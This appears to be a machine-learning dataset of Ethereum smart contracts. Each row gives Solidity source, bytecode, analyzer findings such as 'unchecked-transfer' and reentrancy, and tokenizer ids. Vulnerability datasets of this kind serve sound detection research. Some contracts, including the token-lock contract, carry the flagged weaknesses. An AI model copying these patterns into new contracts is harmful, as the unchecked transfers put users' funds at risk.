Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; interface IKeep3rGovernance { // events event GovernanceSet(address _governance); event GovernanceProposal(address _pendingGovernance); // variables function governance() external view returns (address); function pendingGovernance() external view returns (address); // errors error OnlyGovernance(); error OnlyPendingGovernance(); // methods function setGovernance(address _governance) external; function acceptGovernance() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import './IBaseErrors.sol'; interface IDustCollector is IBaseErrors { /// @notice Emitted when dust is sent /// @param _token The token that will be transferred /// @param _amount The amount of the token that will be transferred /// @param _to The address which will receive the funds event DustSent(address _token, uint256 _amount, address _to); /// @notice Allows an authorized user to transfer the tokens or eth that may have been left in a contract /// @param _token The token that will be transferred /// @param _amount The amount of the token that will be transferred /// @param _to The address that will receive the idle funds function sendDust( address _token, uint256 _amount, address _to ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; interface IBaseErrors { /// @notice Throws if a variable is assigned to the zero address error ZeroAddress(); }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063966abd001161010f578063d8ae6faf116100a2578063f39c38a011610071578063f39c38a014610433578063f75f9f7b14610446578063f798224314610459578063fca3b5aa1461046c57600080fd5b8063d8ae6faf146103e7578063de63298d146103fa578063e74f82391461040d578063ec00cdfc1461042057600080fd5b8063b600702a116100de578063b600702a14610399578063ba9b4d65146103ac578063c5198abc146103c1578063ce6a0880146103d457600080fd5b8063966abd0014610340578063a0712d6814610353578063ab033ea914610366578063ab73e3161461037957600080fd5b806340c10f191161018757806366d97b211161015657806366d97b21146102e757806372da828a1461030757806374a8f1031461031a578063807119891461032d57600080fd5b806340c10f191461029b57806355ea6c47146102ae5780635aa6e675146102c157806364bb43ee146102d457600080fd5b806312a29198116101c357806312a29198146102655780631ef94b9114610278578063238efcbc1461028b5780633619cb721461029357600080fd5b806307546172146101f55780630770f809146102255780630e57d4ce1461023a5780630eecae211461024f575b600080fd5b600354610208906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610238610233366004611677565b61047f565b005b61024261050d565b60405161021c919061178b565b61025761051e565b60405190815260200161021c565b610238610273366004611677565b610609565b600254610208906001600160a01b031681565b61023861065a565b6102386106e3565b6102386102a93660046116ce565b610778565b6102386102bc366004611677565b6107b1565b600054610208906001600160a01b031681565b6102386102e2366004611677565b61080e565b6102576102f5366004611677565b60046020526000908152604090205481565b610238610315366004611677565b61086b565b610238610328366004611677565b6108c8565b61023861033b366004611677565b610925565b61023861034e3660046116f8565b610982565b610238610361366004611756565b610a98565b610238610374366004611677565b610ad0565b610257610387366004611677565b60056020526000908152604090205481565b6102386103a7366004611677565b610b4f565b6103b4610bac565b60405161021c91906117d8565b6102386103cf366004611677565b610cb7565b6102386103e23660046116ce565b610d14565b6102386103f53660046116ce565b610daa565b6102386104083660046116ce565b610e0e565b61023861041b366004611692565b610e72565b61023861042e366004611677565b610f10565b600154610208906001600160a01b031681565b610238610454366004611677565b610f86565b6102386104673660046116ce565b610fe3565b61023861047a366004611677565b611036565b6000546001600160a01b031633146104aa576040516354348f0360e01b815260040160405180910390fd5b60025460405163ab033ea960e01b81526001600160a01b0383811660048301529091169063ab033ea9906024015b600060405180830381600087803b1580156104f257600080fd5b505af1158015610506573d6000803e3d6000fd5b5050505050565b606061051960066110ac565b905090565b3360009081526005602052604081205442101561054e5760405163b0782df760e01b815260040160405180910390fd5b3360009081526004602052604090205461057b57604051633faaf86560e21b815260040160405180910390fd5b3360009081526005602052604090205462093a809061059a904261187b565b11156105c2576105ad4262093a80611863565b336000908152600560205260409020556105ea565b336000908152600560205260408120805462093a8092906105e4908490611863565b90915550505b50336000818152600460205260409020549061060690826110c0565b90565b6000546001600160a01b03163314610634576040516354348f0360e01b815260040160405180910390fd5b61063f6006826111a9565b506001600160a01b0316600090815260046020526040812055565b6001546001600160a01b0316331461068557604051637ef5703160e11b815260040160405180910390fd5b60018054600080546001600160a01b0383166001600160a01b031991821681179092559091169091556040519081527fc73be659241aade67e9a059bcf21494955018b213dbd1179054ccf928b13f3b69060200160405180910390a1565b6000546001600160a01b0316331461070e576040516354348f0360e01b815260040160405180910390fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663238efcbc6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146107a3576040516354348f0360e01b815260040160405180910390fd5b6107ad82826110c0565b5050565b6000546001600160a01b031633146107dc576040516354348f0360e01b815260040160405180910390fd5b6002546040516355ea6c4760e01b81526001600160a01b038381166004830152909116906355ea6c47906024016104d8565b6000546001600160a01b03163314610839576040516354348f0360e01b815260040160405180910390fd5b60025460405163325da1f760e11b81526001600160a01b038381166004830152909116906364bb43ee906024016104d8565b6000546001600160a01b03163314610896576040516354348f0360e01b815260040160405180910390fd5b60025460405163396d414560e11b81526001600160a01b038381166004830152909116906372da828a906024016104d8565b6000546001600160a01b031633146108f3576040516354348f0360e01b815260040160405180910390fd5b6002546040516374a8f10360e01b81526001600160a01b038381166004830152909116906374a8f103906024016104d8565b6000546001600160a01b03163314610950576040516354348f0360e01b815260040160405180910390fd5b600254604051638071198960e01b81526001600160a01b038381166004830152909116906380711989906024016104d8565b6000546001600160a01b031633146109ad576040516354348f0360e01b815260040160405180910390fd5b6001600160a01b0381166109d45760405163d92e233d60e01b815260040160405180910390fd5b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610a35576040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610a2f573d6000803e3d6000fd5b50610a49565b610a496001600160a01b03841682846111c7565b604080516001600160a01b0385811682526020820185905283168183015290517f9a3055ded8c8b5f21bbf4946c5afab6e1fa8b3f057922658e5e1ade125fb0b1e9181900360600190a1505050565b6003546001600160a01b03163314610ac357604051639cdc2ed560e01b815260040160405180910390fd5b610acd33826110c0565b50565b6000546001600160a01b03163314610afb576040516354348f0360e01b815260040160405180910390fd5b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527fe987aaedf9d279143bdf1eee16cf1d0feb47742867d81083df8d6cd0a5ac857f9060200160405180910390a150565b6000546001600160a01b03163314610b7a576040516354348f0360e01b815260040160405180910390fd5b600254604051635b00381560e11b81526001600160a01b0383811660048301529091169063b600702a906024016104d8565b6060610bb86006611219565b67ffffffffffffffff811115610bd057610bd061191b565b604051908082528060200260200182016040528015610c1557816020015b6040805180820190915260008082526020820152815260200190600190039081610bee5790505b50905060005b610c256006611219565b811015610cb3576040805180820190915280610c42600684611223565b6001600160a01b0316815260200160046000610c5f600686611223565b6001600160a01b03166001600160a01b0316815260200190815260200160002054815250828281518110610c9557610c95611905565b60200260200101819052508080610cab906118be565b915050610c1b565b5090565b6000546001600160a01b03163314610ce2576040516354348f0360e01b815260040160405180910390fd5b60025460405163314662af60e21b81526001600160a01b0383811660048301529091169063c5198abc906024016104d8565b6000546001600160a01b03163314610d3f576040516354348f0360e01b815260040160405180910390fd5b60025460405163019cd41160e71b81526001600160a01b038481166004830152602482018490529091169063ce6a0880906044015b600060405180830381600087803b158015610d8e57600080fd5b505af1158015610da2573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03163314610dd5576040516354348f0360e01b815260040160405180910390fd5b60025460405163d8ae6faf60e01b81526001600160a01b038481166004830152602482018490529091169063d8ae6faf90604401610d74565b6000546001600160a01b03163314610e39576040516354348f0360e01b815260040160405180910390fd5b60025460405163de63298d60e01b81526001600160a01b038481166004830152602482018490529091169063de63298d90604401610d74565b6000546001600160a01b03163314610e9d576040516354348f0360e01b815260040160405180910390fd5b60025460405163e74f823960e01b81526001600160a01b0385811660048301528481166024830152604482018490529091169063e74f823990606401600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b03163314610f3b576040516354348f0360e01b815260040160405180910390fd5b806001600160a01b038116610f635760405163d92e233d60e01b815260040160405180910390fd5b50600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610fb1576040516354348f0360e01b815260040160405180910390fd5b60025460405163f75f9f7b60e01b81526001600160a01b0383811660048301529091169063f75f9f7b906024016104d8565b6000546001600160a01b0316331461100e576040516354348f0360e01b815260040160405180910390fd5b61101960068361122f565b506001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b03163314611061576040516354348f0360e01b815260040160405180910390fd5b806001600160a01b0381166110895760405163d92e233d60e01b815260040160405180910390fd5b50600380546001600160a01b0319166001600160a01b0392909216919091179055565b606060006110b983611244565b9392505050565b60025460405163140e25ad60e31b8152600481018390526001600160a01b039091169063a0712d6890602401600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b505060025460405163a9059cbb60e01b81526001600160a01b03868116600483015260248201869052909116925063a9059cbb9150604401602060405180830381600087803b15801561116c57600080fd5b505af1158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190611734565b505050565b60006111be836001600160a01b0384166112a0565b90505b92915050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111a4908490611393565b60006111c1825490565b60006111be838361146a565b60006111be836001600160a01b038416611494565b60608160000180548060200260200160405190810160405280929190818152602001828054801561129457602002820191906000526020600020905b815481526020019060010190808311611280575b50505050509050919050565b600081815260018301602052604081205480156113895760006112c460018361187b565b85549091506000906112d89060019061187b565b905081811461133d5760008660000182815481106112f8576112f8611905565b906000526020600020015490508087600001848154811061131b5761131b611905565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061134e5761134e6118ef565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506111c1565b60009150506111c1565b60006113e8826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114e39092919063ffffffff16565b8051909150156111a457808060200190518101906114069190611734565b6111a45760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084015b60405180910390fd5b600082600001828154811061148157611481611905565b9060005260206000200154905092915050565b60008181526001830160205260408120546114db575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556111c1565b5060006111c1565b60606114f284846000856114fa565b949350505050565b60608247101561155b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401611461565b843b6115a95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401611461565b600080866001600160a01b031685876040516115c5919061176f565b60006040518083038185875af1925050503d8060008114611602576040519150601f19603f3d011682016040523d82523d6000602084013e611607565b606091505b5091509150611617828286611622565b979650505050505050565b606083156116315750816110b9565b8251156116415782518084602001fd5b8160405162461bcd60e51b81526004016114619190611830565b80356001600160a01b038116811461167257600080fd5b919050565b60006020828403121561168957600080fd5b6111be8261165b565b6000806000606084860312156116a757600080fd5b6116b08461165b565b92506116be6020850161165b565b9150604084013590509250925092565b600080604083850312156116e157600080fd5b6116ea8361165b565b946020939093013593505050565b60008060006060848603121561170d57600080fd5b6117168461165b565b92506020840135915061172b6040850161165b565b90509250925092565b60006020828403121561174657600080fd5b815180151581146110b957600080fd5b60006020828403121561176857600080fd5b5035919050565b60008251611781818460208701611892565b9190910192915050565b6020808252825182820181905260009190848201906040850190845b818110156117cc5783516001600160a01b0316835292840192918401916001016117a7565b50909695505050505050565b602080825282518282018190526000919060409081850190868401855b8281101561182357815180516001600160a01b031685528601518685015292840192908501906001016117f5565b5091979650505050505050565b602081526000825180602084015261184f816040850160208701611892565b601f01601f19169190910160400192915050565b60008219821115611876576118766118d9565b500190565b60008282101561188d5761188d6118d9565b500390565b60005b838110156118ad578181015183820152602001611895565b838111156107725750506000910152565b60006000198214156118d2576118d26118d9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212205230404e3f738a545dd096577face1a7d0684a3a073d39a9363caf6b5182007864736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2497, 24096, 2278, 2692, 2475, 2278, 2575, 21619, 14141, 28154, 24096, 22932, 2549, 2497, 2683, 23632, 22932, 2475, 2546, 2094, 19841, 2497, 20842, 16409, 2094, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1018, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 25209, 13699, 2509, 2099, 2615, 2487, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 25209, 13699, 2509, 2099, 2615, 2487, 21572, 18037, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 15965, 2015, 1013, 2562, 2509, 18581, 23062, 6651, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 15965, 2015, 1013, 6497, 26895, 22471, 2953, 1012, 14017, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,814
0x976b11afaf6538de1d01ad4b4aec5dd307170140
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27129600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x88301b654be809aDD77EEC8aE2EC27473b60A1d4; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a723058209488309b284a151d45e04ff4e2b482e6d51f7314accd42d16b1dfbfb12c0e6550029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2497, 14526, 10354, 10354, 26187, 22025, 3207, 2487, 2094, 24096, 4215, 2549, 2497, 2549, 6679, 2278, 2629, 14141, 14142, 2581, 16576, 24096, 12740, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 102 ]
